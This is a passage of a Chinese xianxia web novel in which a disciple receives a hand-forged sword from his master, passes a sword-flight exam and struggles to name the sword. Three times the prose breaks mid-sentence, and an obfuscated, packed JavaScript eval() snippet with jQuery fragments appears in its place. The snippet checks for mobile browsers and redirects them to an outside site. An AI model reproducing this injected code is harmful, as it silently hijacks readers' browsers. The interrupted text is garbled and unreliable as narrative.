楼珩记得距离自己的生辰还有大半个月呢,师尊这么早就准备好生辰礼了?
楼珩虽生出几分疑惑,但他手上的筷子没停,今日的龙井大虾更添辛辣,比以前的味道更好吃。
一顿饭的时间很快,楼珩站在寝殿门口徘徊,说实话他有点紧张。
师尊以前送的生辰礼要么是玉雕的小摆件、要么是几株罕见的花草,这次师尊提前备好生辰礼,应该是很重要的东西。
正巧云晟和望尘到镜花台找楼珩去练习御剑术,大老远就看见某人站在殿门口来回转悠,不知道的还以为是门口掉铜板了。
“楼珩你搞什么名堂呢?”云晟走过去拍了下楼珩的肩,调侃道:“你小子怎么了?这脸色倒像是出了什么大事。”
楼珩慢吞吞道:“师尊在殿内摆了给我的生辰礼,我有点紧张,毕竟师尊从没有提前把生辰礼送过来,还不知道是什么……”
还没等楼珩把话说完,云晟直接上前推开殿门。
他最看不惯楼珩这优柔寡断的毛病,道:“纠结个屁啊,师尊是送你生辰礼,又不是罚你,怕什么?”
跟在楼珩身侧的望尘拍了拍楼珩的肩,安抚道:“我猜你这份生辰礼跟剑有关。”
望尘的声音太低,楼珩没有听清望尘的话,但也并未追问。
殿内的黄花梨桌上的摆着一个精致的盒子,云晟伸手拽住楼珩的胳膊,迫不及待道:“你快打开,让我们看看是什么宝贝……嗯?”
等云晟看清盒中的东西瞬间脸色微变,诧异道:“不是,你铺垫了这么多就因为一盒糕点?”
木盒中整整齐齐摆了一碟毕罗酥。
这是楼珩最爱吃的糕点,咸香又酥脆,以前阿娘给楼珩做过很多次,后来阿娘走了,再也没人给楼珩做过毕罗酥。
楼珩眼前一亮,惊喜道:“这是……毕罗酥?师尊竟然亲手做了这个。”
站在旁边的云晟看见某人一副感动到要哭的样子,便忍不住吐槽了一句,“楼珩,你小子能不能出息点,就一盒破糕点,至于这么稀罕吗?”
望尘则是直接越过二人,目光落在木盒旁边的长盒子,他立刻反应过来,这长盒子……是剑匣?!
眼看这两个幼稚的家伙又要吵起来了,他指着木盒旁边的剑匣,无奈道:“你们两个别拌嘴了,师尊送给阿珩的礼物应该是这个。”
“??”
两人不约而同地侧首看向桌上的长盒子。
云晟被眼前这一幕气笑了,自己愣是没看见这么大的一个盒子,哦,还是紫檀木,师尊真是大手笔。
“楼珩,你快打开这盒子看看里面是什么东西?”云晟忍不住翻了个白眼,他倒要看看这到底是怎样的生辰礼。
楼珩上前半步,小心翼翼地掀开木盒,他眼前一亮,这把长剑是二品灵器?
一旁的云晟惊呼道:“二品灵器?!师尊居然送了你二品灵器!”
“这可太阴玄铁!上古神族遗留下来的最后一块玄铁,这可是遇火不融、遇硬不断、削铁如泥的宝贝。”
望尘忍不住替这世间罕见的‘太阴玄铁’辩驳两句,郑重道:“如此贵重的生辰礼,也只有师尊才能有此手笔。”
太阴玄铁?!
云晟不可置信地看向楼珩,他猛地锤了一下楼珩的肩,不忿道:“太阴玄铁,我只在上古史册里见过,楼珩,师尊对你也太好了。”
楼珩没听说过什么太阴玄铁,但是听完望尘的一番讲解,再看看云晟如此激动的神情,他瞬间觉得手中的长剑重于万斤。
“…………”
楼珩小心翼翼地抚上嵌着白玉的剑鞘,这把剑的长度约有四尺,剑鞘的点睛之处是白玉雕成的玉兰花,剑鞘末端则是鎏银云纹,剑鞘通体呈蒹灰,剑鞘转动时却能隐隐透出雪青色。
这剑鞘正是楼珩喜欢的颜色,素雅又不寡淡。
比起楼珩的二品灵器是太阴玄铁,云晟更惊讶这剑鞘的颜色竟不是青色,感叹道:
“师尊居然没在剑鞘上用他一贯喜欢的青蓝色,这倒不像师尊的作风,他的二品灵器可都是青蓝色,他铸造的法器皆是泛着青光,这还是师尊第一次用别的颜色。”
“这是师尊亲手铸造的法器?!”
楼珩忍不住将手中的长剑握得更紧,他没想到师尊说的生辰礼竟然是他亲手铸造的二品灵器,原来师尊他早就知道自己在烦忧何事,所以才会提前准备好这份生辰礼。
楼珩由衷觉得这生辰礼着实贵重了。
他没见过旁人的师尊是如何与弟子相处,但他觉得师尊跟旁人不同,但师尊总是能在察觉出自己的情绪波动,然后提前解决问题。
这样心思缜密的人为何会收自己为徒……
毕竟自己到现在仍不算出众,更称不上天赋异禀,这样平平无奇的楼珩怎能做玉阙真人的徒弟?
楼珩不明白司青衔的想法,但他清楚自己绝不能给镜花台丢脸。
既然师尊
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799321|175051||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
抬爱,那自己一定要比旁人努力万倍才配得上做师尊的徒弟。
“楼珩。”
站在一旁的望尘似乎看出了楼珩的犹豫和不安,他自然清楚楼珩是怕自己在御剑考核上给师尊丢脸,便顺手拿起一块毕罗酥递过去,安慰道:“楼珩,御剑术不是几日就能掌握熟练的,师尊对你的期待并没有你想象中一样高,别给自己太大压力。”
“师兄,你的意思是?”
望尘看了眼坐在一旁吃得正欢的云晟,无奈地勾了勾唇角,
“你看云晟这一点就炸的急性子,从来都不让云师叔省心,但云师叔只会替他解决麻烦,从没想过因他闯祸就舍下这个徒弟,所以不管是天资过人的楼珩还是资质平平的楼珩,对师尊来说都不重要。”
楼珩心头一震,下意识问道:“那什么才重要?”
“只要你是楼珩,那你便是司青衔门下唯一的徒弟,镜花台的亲传弟子,这一点任何事都改变不了。”
望尘搭在楼珩肩上的手微微用力,他应该让楼珩意识到自己对师尊而言的意义。
毕竟楼珩一向是个闷葫芦,有的事憋在心里只会越陷越深,既然身为楼珩的师兄,自然就该劝解一二,他顺手给楼珩倒了一盏茶,慢悠悠道:
“你觉得师尊是在乎输赢脸面还是在乎你这个宝贝徒弟,楼珩,有时候要坦然接受别人对你的好,蓬莱就是你的家,你是我们的小师弟,师兄对你好是理所应当的,在师兄眼里你跟阿宁一样,都是半大的小孩,所以不要给自己太大压力,尽力而为就好了。”
尽力而为……或许一开始便是他想得太多。
楼珩端起那盏冒着热气的茶,道:“多谢师兄替我解惑。”
半个月后的御剑考核是掌门柳不覆对这一届新收弟子的学业考察,更是为了筛选出天资聪慧的弟子,这一届弟子不足千人,但柳不覆还是期望这一届能有天资过人的弟子。
这也是楼珩第一次见到掌门柳不覆,衣决飘飘的柳不覆伫立在高台的石阶上,他身上的空青色锦袍乃掌门服饰,腰间所戴的玉佩是蓬莱掌门的身份象征。
“云晟,掌门为何看起来这么……严肃。”
楼珩拽了下云晟的袖子,小声道:“而且掌门他……”
云晟连忙捂住了楼珩的嘴,严肃道:“不能议论掌门!而且掌门原本就比师尊跟我师父更古板,他对弟子要求严苛,甚至是苛刻到毫无瑕疵,掌门座下只有柳成荫和桑宁两个徒弟,他对桑宁倒不算严格,但对柳成荫可谓是朝督暮责。”
楼珩似懂非懂地点点头,“原来是这样,掌门确实看上去不苟言笑,真难相信掌门跟师尊、云师叔师承一人,他们的性子完全不像是同一个师父教出来的,而且掌门他的手背上有一道疤……”
“咱们这一队的考核快开始了,楼珩,你先别想这些,把你的剑准备好。”
云晟忍不住开口提醒,他侧首看向身穿鹅黄色锦袍的楼珩,这小子怎么这么八卦?
掌门手上的疤……
不过貌似自己也不知道这蓬莱旧事,等考核结束就去找花朝师姐问个清楚。
20. 第二十章
“阿渊,我记得你新收的徒弟并非仙门世家后人,这孩子资质平平,你当真要让他成为镜花台唯一亲传弟子?”
负手而立的柳不覆仔细观察着底下这批新生弟子的御剑术,他原以为这一届弟子好歹能出个苗子。
但现下看来除了云晟跟云逍这两个天资尚可的孩子,旁的弟子都算不得有慧根,甚至还有几个对御剑掌握并不熟练,也可以说是生疏。
柳不覆颇为失望地收回目光,他刚转身就看到靠在桃木椅上翘着二郎腿的云诸,哎,这副吊儿郎当的样子也不知随了谁。
“云诸,我说过几次了,莫要再整日斗蛐蛐,简直胡闹!”
靠在椅子上的云诸唇角一勾,随手将垂在身侧的白发撩到后面,漫不经心道:“大师兄每次见我都要数落一番,真是令人伤心,你怎么不训司青衔,你看看他整日在镜花台弄花养鸟,你怎么从来不呵斥他,大师兄真是偏心啊。”
柳不覆被这话一噎,险些没顺上气,幸好司青衔及时递来一盏热茶,他顺手接过热茶喝了几口,原本这口气刚顺下去,就听见司青衔平淡开口,
“师兄多虑了,咱们蓬莱筛选弟子本就严苛,现下他们只学了两三年的基础课业,等来日修出仙根定能大有长进。”
柳不覆闻言脸色缓和不少,他清楚近几年仙门世家也出不了什么好苗子,毕竟魔族覆灭已有百年,妖族也被三十六重天打压多年,冥界更是翻不出什么浪。
正因如此仙门世家和各门派才会如此懈怠,就连试炼大会都开始敷衍,仙门如今的行事作风当真是令人不齿!
“如此懈怠,这一届新收弟子都不堪重任,也就云逍跟云晟还算尚可,你们看看其余的弟子,哎,朽木不可雕也。”
柳不覆端着茶盏坐在主位上,坐在右边的司青衔并未接话,他便抬眸顺着司青衔的目光看过去。
原来司青衔的小徒弟就是站在云晟身侧的那孩子,约莫有十一二岁,除了眉眼间生得好看,其根骨资质都不算上乘,也可以说是没有半点慧根。
“那孩子就是你新收的徒弟?”
柳不覆在听到司青衔嗯了一声之后又多看了几眼,毫不客气道:“天资平平,恐怕连仙根都修不出来,这等资质怎能入你镜花台,你莫不是看上了这孩子的样貌?”
“师兄觉得我如此行事不妥?”司青衔明知故地问道。
从把楼珩带回蓬莱的那一刻,他就知道掌门师兄迟早会质问此事,前些年掌门师兄就催着他收徒弟,仙门世家、各派弟子不知挑了多少好苗子,司青衔一个都没选。
柳不覆清楚司青衔的性子,所以他深吸了一口气,试图让自己的语气平缓下来,“你若是喜欢那孩子就留下,但如果是做镜花台的唯一弟子,他还不够资格。”
司青衔拿起一块桃花酥,道:“那又怎样?”
“…………”
柳不覆只觉眼前一黑,这两个师弟没一个省心的,他沉声道:“司青衔,我跟你说过多少遍,事关蓬莱的门楣,你收弟子我不反对,但你不能只收一个徒弟,这孩子如何能撑起整个镜花台?”
司青衔将剩下半块桃花酥捏碎,看向柳不覆的眼神带着愠怒,他蹙眉道:“师兄此话何意,楼珩既是我的徒弟,此事就不会有更改,至于师兄说的德不配位更是无稽之谈,更何况阿珩尚且年幼,今后的事顺其自然便好。”
柳不覆一连喝了三盏热茶才缓和不少,他想起师父闭关前的叮嘱,斟酌道:“司青衔,你究竟有没有将师父的话放在心上?!师父早有明令,镜花台的弟子绝不能平庸之辈。”
司青衔不轻不重地回了句,“师父的话?我何时听过他的话。”
在二人并不愉快的聊天中,负责考核的仙官敲响了大殿前位于高处的青铜钟,响彻云霄的钟声宣告着此次考核顺利结束。
仙官将名册递到柳不覆面前,“禀报掌门,本次考核最后一轮已经结束,这是合格弟子的名单,请您过目。”
柳不覆接过名册,大略翻看了一遍,这一届的新收弟子虽不出众却能全部通过考核,想到此处他才稍感欣慰,道:“来日方长,这一届弟子悉心栽培应该不会令本尊失望。”
御剑考核结束后,云诸就死皮赖脸跟着司青衔去了镜花台。
他美名其曰要向司青衔讨教铸剑,其实就是想给司青衔再添点堵,毕竟不是每一次大师兄都会跟司青衔起争执,这样难得的机会不落井下石一番,他云诸两个字就倒过来写。
二人坐在凉亭里下棋。
司青衔明显没心思下棋,他把玩着手中的黑子,看着眼前的棋局心中越发烦躁,他索性将黑子往桌上一丢,道:“你今日到底为何要来我这儿?现下已呈败相,不必再苦苦挣扎了,这一局我认输。”
“你这是要赶我走?司青衔,你忘了这次给你家阿珩打造二品灵器的时候,你从揽月阁搜刮了多少宝贝,又玩过河拆桥这一套。”
云诸起身单手压在石桌上,右手搭在司青衔的肩上,笑道:“大师兄是不是最近有什么烦心事,我总觉得他脾气越发不好了,怪渗人的。”
司青衔拍开某人搭在自己肩上的手,皮笑肉不笑道:“你要是太闲就帮师兄多处理点门中的事,整日就知道净说风凉话,无趣。”
云诸一听这话就来气了,这两人怎么每次一吵架都拿自己出气,他用折扇挑起某人的下巴,道:“司青衔,你不要每次跟大师兄闹不愉快就来找我发泄,你有能耐你去跟他……”
“师弟莫不是忘了云晟上个月打伤昆仑山弟子,要不是我替你按下此事,你的好徒弟怕是早就被门规处罚了。”
司青衔捻了捻手指,漫不经心道:“你要是再没大没小,我以后都不会
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799322|175051||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
再帮你收拾烂摊子。”
云诸立马收回手,连同折扇一并默默藏到身后,他都忘了这一茬,只得讪讪一笑,“师兄,我跟你说笑的,你瞧你还当真了。”
司青衔就知道这小子的德行,他也没跟云晟计较,将桌上的毕罗酥推到云诸面前,“尝尝我做的糕点。”
糕点?又是齁甜的玩意?
云诸伸出去的手顿在半空,他实在不想回忆起司青衔做的云片糕,那味道……险些没把人齁死。
“这次是咸口的。”
司青衔自然看得出云诸的小心思,他幽深的眸子里闪过一丝笑意,要不是云诸这幅神情,他都忘了某人不喜甜食。
云诸半信半疑地拿起一块毕罗酥,道:“你还会做咸口?”
司青衔端起茶盏喝了一口,道:“阿珩也不喜甜食,所以我近日试着做了点咸口的糕点。”
云诸啧了一声,原来是给楼珩做的糕点,难怪愿意改了性子做成咸口,这徒弟当真是金贵得很。
他也不再跟某人啰嗦,毫不客气地拿起一块酥塞进嘴里,香酥可口,咸而不腻,这恐怕是司青衔做出来最好吃的糕点了。
但一想到今日柳不覆的话,云诸便对楼珩生出几分同情,毕竟大师兄眼里向来揉不得沙子,他若是不认可楼珩,就一定不善罢甘休。
“今日御剑考核你那徒弟颤颤巍巍的身形,啧,跟你当年学御剑飞行时一模一样,我都能看出他不算天资聪颖,你执意收他为徒倒也罢了,竟然还驳回大师兄的嘱咐,你到底是怎么想的?”
司青衔抬手为自己添了一盏热茶,平静道:“师兄收徒看重的是资质,你收徒看重的是眼缘,而我并不看重资质,至于缘分这东西本就自有天定,既来之则安之,如今已经有了阿珩,我自然不会再收旁人为徒。”
“虽然我也挺喜欢小楼珩,但是大师兄向来说一不二,你真不打算再收个徒弟?”
云诸觉得收徒弟自然是越多越热闹。
揽月阁的四个徒弟整日吵吵闹闹,除了不喜喧哗的云晚苓,真是没一个让人省心,可即便如此,他还是喜欢热闹些。
司青衔闻言勾了勾唇角,他倒是没想过再收一个徒弟,毕竟能把最初的小闷葫芦养成现在的小话痨是一件很有成就感的事情。
“我这人喜静,收徒弟这麻烦事仅此一次,而且阿珩很好,我对他没什么要求跟过高的期望,所以师兄不会懂我为何执意收阿珩为徒。”
提及此事,云诸也不免对司青衔的想法生出几分好奇,他用折扇敲了敲桌角,调侃道:“我以前觉得楼珩的闷葫芦性子最适合待在镜花台,可现在小楼珩性子越发活泼,你不嫌烦?”
“其实比起他以前的闷葫芦性子,如今的阿珩才是真正把镜花台当成他的家,至于话多一些倒也无妨,只要阿珩能自在随性一些便很好。”
21. 第二十一章
“师尊,今日那把剑跟我很默契,就好像它很早之前就跟我熟识,这感觉太奇妙了。”
刚通过御剑考核的楼珩格外兴奋,他原本并不精通御剑术,但他发现师尊所赠的佩剑跟自己很是默契,甚至在最后一轮逆风而上的考核中顺利通过。
这简直是不可思议。
楼珩越看桌上的长剑越觉得爱不释手,虽然他以前总听云晟提起二品灵器是极趁手的法器,不仅能与主人心意相通,还会有护主的意识。
但此番亲身体验方才知晓二品灵器的妙处,第一次御剑就能做到如此默契,当真是名不虚传。
坐在软榻上看话本的司青衔看得出楼珩心情很好,便将手中的话本搁在一旁,道:“阿珩今日在考核中表现得不错,应该已经不畏高了吧?”
楼珩的手一直放在剑鞘上,这次考核多亏了师尊亲手铸造的二品灵器,若不是此剑颇有灵性,恐怕很难在此次考核中及格。
“师尊,我今日好像能掌控此剑,不知道是不是我的错觉,我总觉得这剑跟我很有默契。”楼珩忍不住说出了自己的疑惑。
司青衔并不想将自己消耗了百年修为才提前炼出剑灵的事情告诉楼珩,在他看来这种事让楼珩知道了只会增添心中负担,于情于理作为师父都应该替徒弟操心,更何况阿珩已经很让人省心了。
他随便找了个借口搪塞过去,道:“约莫此剑在你的寝殿待得久了,习惯了你的气息,早日修出剑灵也是好事,既然你已经在惊蛰班修习,又通过了御剑考核,难免要跟着师兄师姐下山游历,有它在你身边,为师才会放心。”
“剑灵?”
楼珩不可置信地看向桌上的长剑,这把剑真的能炼出剑灵吗?云晟跟桑宁都没有修出剑灵,他才修行几年就能炼出剑灵了?!
司青衔道:“阿珩,你若想养出剑灵便要先替它起个名字,镜花台的法器跟随为师多年且早已生出灵识,炼出剑灵一事不急于一时。”
楼珩只记住了师尊说的第一句话:要给这把剑起个名字,楼珩想到了一个很好的名字,便问道:“师尊,取什么名字都可以吗?”
司青衔不经意应了一声,“自然可以,这是你的二品灵器……”
“那我想好了,就叫当真!”楼珩一脸认真地看着司青衔,他觉得这名字再合适不过了,朗朗上口又简洁易懂。
司青衔:“?”
在自家徒弟的满眼期待中,司青衔默默挪开视线,这名字是认真的吗?
司青衔着实不想打压孩子的积极性,但这名字属实不中听,他委婉道:“这个名字……并不是不好,只是太草率了些,取名一事不着急,今日御剑考核你也累了,先回寝殿歇息吧。”
被赶出大殿的楼珩一脸茫然,刚刚师尊不是还要自己给法器取名,怎么现下又不急于一时了?
“师尊这是怎么了?”后知后觉的楼珩看着手中的长剑,莫非师尊是觉得这名字不好听?他有些摸不着头脑,这名字简直跟此剑绝配啊,天上地下找不出更般配的名字了。
“这名字哪里不好了?我就觉得这名字再好不过了。”
楼珩还未走远,最后一句也清楚落在司青衔耳中,他端着茶盏的手一抖,险些洒出。
这名字很好?
听到这话的司青衔嘴角一抽,他连喝了两杯热茶才顺下这口气,自家徒弟犯不着生气,这点小事不值当。
一想到当真这个破名字,司青衔就觉得头疼,他抬手掐了掐眉心,叹道:“阿珩这取名的风格到底随了谁?”
与此同时揽月阁可热闹得很。
因为江花朝提前出关,又逢御剑考核顺利通过,云晟跟望尘就在揽月阁的凉亭里摆了一桌子好菜和精致的糕点,桑宁和江花朝站在凉亭旁的池子里撒荷花种子,至于楼珩则是抱着他的二品灵器坐在廊下发呆。
桑宁看着发呆的楼珩,心想这人上午还高兴得很,现在怎么一副丢了魂的样子,她忍不住戳了下江花朝,小声道:“师姐,你觉不觉得阿珩他心情不好。”
江花朝闻言掀起眼帘看向坐在廊下的楼珩,这小子应该是有什么烦心事,她心生一计,在桑宁耳边低语了几句。
桑宁立马像只兔子一样窜上岸,她光着脚跑到楼珩面前,直接拽住楼珩的袖子,道:“师兄,你来帮我们撒荷花种子!”
楼珩还没反应过来就被桑宁拽到了池塘边上,在桑宁满怀期待的目光里,楼珩默默接过桑宁递来的臂绳,熟练地挽起袖子再套上。
“师姐,需要我做点什么?”楼珩走到江花朝身侧。
江花朝正用铲子在淤泥里挖了一个又一个小坑,她将装满种子的布袋递给楼珩,道:“阿珩,每个坑里都要撒几颗种子,这个不难吧?”
“师姐可是小瞧我了。”楼珩的注意力被成功转移,他专心致志地蹲在一旁撒种子,种花还挺好玩。
江花朝一连挖了十几个坑,她看了眼默不作声的楼珩,随口问道:“阿珩,今日顺利通过御剑考核你不开心?”
“师尊送给我的生辰礼是二品灵器,他让我取个名字,但我也想不出什么好名字,师尊让我慢慢想。”楼珩叹了口气,将方才发生的事情和盘托出。
江花朝有些好奇楼珩到底起了怎样的名字,居然能惹得师尊不喜,要知道楼珩可是镜花台唯一的徒弟,她追问道:“什么名字?”
楼珩答道:“当真。”
“??”
江花朝在那一瞬间不敢相信自己的耳朵,她手上的动作一顿,道:“当真?”
楼珩坚定地点了点头,道:“当真!”
江花朝:“…………”好像突然明白师尊为什么要让他再好好想想了。
得知楼珩要给二品灵器起如此磅礴大气的名字,云晟笑得直不起腰,边拍桌子边哈哈大笑,“楼珩你小子是认真的吗?这名字跟人打架会先把人家笑个半死,哈哈哈哈哈,当真,这名字笑死人了。”
在楼珩听来,云晟大笑的声音像极了膳堂后院圈养的大鹅,他颇为嫌弃地看了眼笑出眼泪的云晟,认真道:“这名字有什么不好?我觉得既顺口又通俗易懂,哪里不好了?”
望尘清了清嗓子,强忍着笑意拍了拍楼珩的肩,解释道:“这个名字并非不好,只是这把剑乃太阴玄铁所铸,即便生出剑灵也是有自己的意识,你给它取这么个名字,你不怕它以后生气不听你的话?”
楼珩一愣,原来剑灵也会有自己的意识,那确实应该深思熟虑一番,但他想了这么久也没想出正经名字。
“起名字也太难了,比御剑考核还难。”楼珩脑子里冒出来
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799323|175051||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的名字都是一个风格,他拿起果子啃了一口,道:“倒是还有几个名字,但我觉得你们不会喜欢。”
正在啃排骨的桑宁顺口一说,“师兄你说出来,我们帮你参谋参谋,万一有很合适的名字,你就不用再发愁这事了。”
“我非常认真的想了几个名字。”楼珩放下筷子,严肃地看向周围的师兄师姐,一本正经道:“除了‘当真’,我最喜欢的名字还有两个,一个是‘承让’,一个是‘且慢’。”
“…………”
众人瞬间鸦雀无声,他们以为‘当真’这个奇葩的名字是楼珩绞尽脑汁才想出来的,万万没想到他轻而易举就能想出一堆更奇葩的名字。
“咳咳咳。”被这话呛到的桑宁猛灌两碗清茶才缓了过来,她不可置信道:“师兄,你一定要取这么难以启齿的名字吗?”
楼珩明显泄了气,他实在是想不出什么好名字,他用筷子戳了戳碗里的米饭,闷闷开口:“要不你们谁帮我想个名字,不然我今夜肯定睡不着了。”
憋不住笑的云晟用胳膊肘捣了下楼珩,道:“我觉得‘当真’就挺好,最起码让人影响很深刻。”
楼珩又不是傻子,自然听得出云晟的调侃,他没好气地推开幸灾乐祸的云晟,道:“那你们都给自己的法器取了什么名字?”
云晟抢先给楼珩介绍在座各位的法器名字,他掰着手指细细道来:“望尘的法器是‘碧海潮生琴’名叫无我,阿宁的法器是掌门亲赐的月影弓,名叫冬至,云逍的法器跟我一样,长剑可化为鞭子,他的叫初七,我的叫九回。”
他顿了顿继续说道:“至于花朝师姐的法器,那可是上古神族遗留的圣物:方天画戟,名叫仙客,还有我阿姐的法器,蛟龙骨所制的玉骨伞,名唤玉烛烬。”
“…………”楼珩现下能理解为什么他们要嘲笑‘当真’这个名字了。
一直在沉思的望尘突然想起楼珩刚到蓬莱时胆怯的样子,虽然只有两三年的光景,却也算得上是脱胎换骨,现在的楼珩再也不是当年不敢说话的小闷葫芦。
“阿珩,你觉得‘辞暮’这个名字怎么样?”望尘冷不丁冒出一句。
楼珩眼前一亮,道:“辞暮?很好听,就叫这个了!”
“好听是好听,有什么说法吗?”云晟没听懂这两个字有何深意,他知道望尘饱读诗书最喜欢咬文嚼字,所以才抛出这个问题。
望尘勾了勾唇角,抬手给自己倒了一杯梅子酒,道:“辞暮,与前尘往事告别才能迎来更好的以后,阿珩,希望这把剑在往后的日子里能护你周全。”
“师兄,这名字太好了!”
楼珩完全没有想到会有这层意思,他当即决定此剑就叫辞暮,喜滋滋地拍了拍靠在脚边的长剑,郑重道:“以后你就叫辞暮了。”
这下楼珩看向望尘的眼神里都多了几分崇拜,望尘虽然面上看不出情绪,但压不住的嘴角早已将他的得意显露出来。
“…………”
坐在一旁的云晟怎么都觉得这两人不顺眼,连带着这太阴玄铁铸成的剑都觉得碍眼,他索性不去看这两个碍眼的家伙,余光瞥见正在喝汤的江花朝。
对了,今日楼珩问过的问题他也想知道答案,云晟立马开口问道:“师姐,你知道掌门手上的疤是怎么回事吗?”
22. 第二十二章
“这事还要从掌门还是蓬莱大弟子之时说起,彼时的师尊也才拜入无极真人门下不足百年,掌门曾经有过一位心上人。”
云晟忍不住惊呼道:“掌门以前还有过心上人?!”
江花朝抬手给自己倒了一杯梅子酒,轻声道:“这还要从千年前的神魔最后一战说起……”
万年前的魔尊是八荒六合最喜嗜杀血腥的一位尊者,魔族子民并非都是十恶不赦之辈,但他们忠于魔尊之心永不会变,历届魔尊都一心想要攻下神界和仙界,这样逆天反道的狂悖之举也造就了魔族子民在战场上伤亡殆尽的必死结局。
最后一位魔尊亲临战场时带上了一件足以毁天灭地的上古法器——混沌钟。
虽然最后一战中魔尊亲手杀了神尊,且重伤八位神族尊者,大半神族都非死即伤,魔尊因此认定此战定能拿下神族圣地。
所有人都以为神族圣地将沦为魔尊的掌中之物,万万没想到神族会倾尽神力以十二道结界和十三件圣物将魔族子民封印在苦海之下。
得知子民被封印在苦海之下永生不入轮回、永世都将被困石像之中的魔尊勃然大怒,不顾仙门几十个门派的阻拦闯入沉月崖,他欲以混沌钟的灭世之力让整个八荒六合给魔族陪葬。
幸好蓬莱山的无极真人带领蓬莱三千弟子及时赶到沉月崖,蓬莱山作为众仙门之首,其门中弟子的修为术法自然是更胜一筹。
当年的柳不覆作为蓬莱大弟子必须阻拦混沌钟的开启,他身后只有十余名修为颇高的弟子在替他输送灵力,奈何魔尊身后的混沌钟太过强大,他们结印的手上布满了猩红的藤纹。
在紧要关头柳不覆用仙力将身后十余名弟子推出数丈,他知道这是魔族禁忌术之一,此术能将修仙者的多年修为慢慢吸取再化为己用,这是魔尊最后的杀招,他已经做出了毁天灭地的选择。
柳不覆很清楚此战定要有人付出惨痛代价,轻则永失仙骨,重则命丧黄泉。
看着黑烟不断飘起的混沌钟,不到半炷香的时间混沌钟就要被彻底唤醒,到时候整个八荒六合都将不复存在。
既然有人注定要永远留在沉月崖,这样也好,能有称霸一方的魔尊陪葬,可谓是亘古未有。
站在阵法前的柳不覆缓缓抬手召唤出一品灵器,他身后的云诸瞬间明白柳不覆要做什么,他伸手就要去抓柳不覆的袖子,吼道:“师兄!莫非你要以身献阵?!不要啊!”
无极真人却突然拽住云晟的胳膊将人拦下,道:“这场大战总要有人做出选择,你师兄已经决定了要阻拦混沌钟,你若是影响时机只会连累更多人。”
“师兄!”被捆仙绳束缚的云诸只能眼睁睁看着一步步走向阵法的柳不覆,他心痛到无法再说出半个字,骨骼分明的手在地上硬生生划出一道道血痕,他决不能让师兄去送死,到底谁能来救救他的师兄……
所有人都很清楚柳不覆的结局,在他踏入阵法时就注定了他的魂魄将被困苦海,永生永世不得轮回。
在千钧一发之际,一道青光瞬移到阵法之中,那道青光硬是将柳不覆带出了以十二道神族封印而成的阵法。
一袭蓝衣的司青衔手执破穹弓,他毫不犹豫地拉弓对准混沌钟,数万道青光射向那团黑烟,一声凤鸣响彻沉月崖,青鸾自数万道青光中挣扎而出,青鸾羽翼下的细碎金光让黑烟逐渐消散。
“青衔!”无极真人万万没想到司青衔会出来搅局,彼时的司青衔刚修出神识,他这点神力只能拖延一时半刻,混沌钟内的浑浊戾气一旦冲出便再无人能阻拦。
司青衔的出现打破了仙门原本的计划,无极真人虽然用伏羲琴暂且压制了混沌钟内的戾气,但这只是缓兵之计,终究还是要有人以毕生修为进入阵法。
无极真人复杂的眼神落在被司青衔死死拽住的柳不覆身上,柳不覆也是他悉心教导百年的弟子,他当真要牺牲徒弟的性命来阻止这灭世灾祸吗?
无极真人犹豫再三,罢了,他终究是狠不下心,更何况他的徒弟还很年轻,而他这把老骨头也该有点用处了。
“青衔,你带着你师兄、师弟和蓬莱众弟子离开吧。”无极真人一手拨动伏羲琴的琴弦,以自身修为催动伏羲琴的净化之力,他周身散出的鎏光渐渐融到黑烟之中。
“真人且慢!”
灵虚宗宗主上前拦住了无极真人拨动琴弦的手,他向无极真人行礼一拜,道:“此次仙魔大战已经有太多前辈陨落,您决不能再以身殉道,天道难违何不顺势而为,我灵虚宗只剩下十余人,我虽是宗主却不曾庇护宗门弟子,更不曾为天下苍生锄奸惩恶,这一次就让我灵虚宗来做最后一道封印吧。”
无极真人颇为震惊地看着跪在面前的灵虚宗宗主,他深知此人素来看重利益,以往危急时刻灵虚宗都是袖手旁观的其中之一,这一次竟会主动站出来,这着实是他没有想到的。
无极真人深知灵虚宗和玉倾宗修的是净化天地间戾气浊气的涤魂术,只是玉倾宗无人愿意牺牲,他沧桑的脸上露出一丝欣慰的笑容,道:“老朽认识宗主千年有余,你我之间恩怨颇深,不曾想你会在此刻站出来,你当得起老朽一声上官宗主。”
“只是有一人我还放心不下。”
灵虚宗宗主眼中多了几分慈爱,他侧首看了眼站在门中长老身旁的少女,心有不忍,他的阿念还未及笄就要失去父亲…
